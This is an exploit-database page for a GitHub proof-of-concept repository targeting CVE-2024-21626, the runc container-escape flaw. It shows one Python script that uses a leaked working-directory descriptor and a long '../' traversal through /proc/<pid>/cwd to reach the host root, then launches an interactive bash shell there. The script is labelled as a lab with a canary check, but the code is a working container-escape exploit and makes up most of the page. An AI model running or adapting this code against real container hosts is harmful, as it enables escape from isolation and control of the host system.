Exploit database

GH-49753b08fbcec64093787273ddec5dd7

rnw29/cve-2024-21626-runc-lab

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-21626

15 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10
rnw29/cve-2024-21626-runc-labRevision d33f0f7f8fe9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

container/attack2-shell.py

Python · 1,519 bytes
#!/usr/bin/env python3
"""Attack 2 interactive shell handoff.

Retains the escaped host root through the vulnerable cwd descriptor and hands
control to an interactive bash session for lab reconnaissance.
"""
import os
import secrets
import sys

TRAVERSAL='../../../../../../../../../../../../../../../../'
CANARY='opt/cve-2024-21626-lab/attack2-host-canary.txt'


def main():
    if os.geteuid() != 0:
        print('[-] Run with sudo inside the container.', file=sys.stderr)
        return 2
    if len(sys.argv) != 2 or not sys.argv[1].isdigit():
        print('usage: attack2-shell.py <pid>', file=sys.stderr)
        return 2

    pid=sys.argv[1]
    root_path=f'/proc/{pid}/cwd/{TRAVERSAL}'
    try:
        root_fd=os.open(root_path, os.O_RDONLY | os.O_DIRECTORY | os.O_CLOEXEC)
        os.fchdir(root_fd)
        with open(CANARY, 'r', encoding='utf-8') as f:
            canary=f.read().strip()
        if not canary.startswith('ATTACK2_HOST_CANARY:'):
            raise RuntimeError('bad canary')
    except Exception as e:
        print(f'[-] Failed to retain escaped host root: {e}', file=sys.stderr)
        return 3

    print('[+] Retained escaped host root descriptor.')
    print(f'[+] Host canary: {canary}')
    print('[+] Launching interactive host reconnaissance shell.')
    print('[+] Type exit to leave the shell.')
    os.environ['PS1']='attack2-host-shell:\\w\\$ '
    os.execv('/bin/bash', ['/bin/bash', '--noprofile', '--norc', '-i'])

if __name__ == '__main__':
    raise SystemExit(main())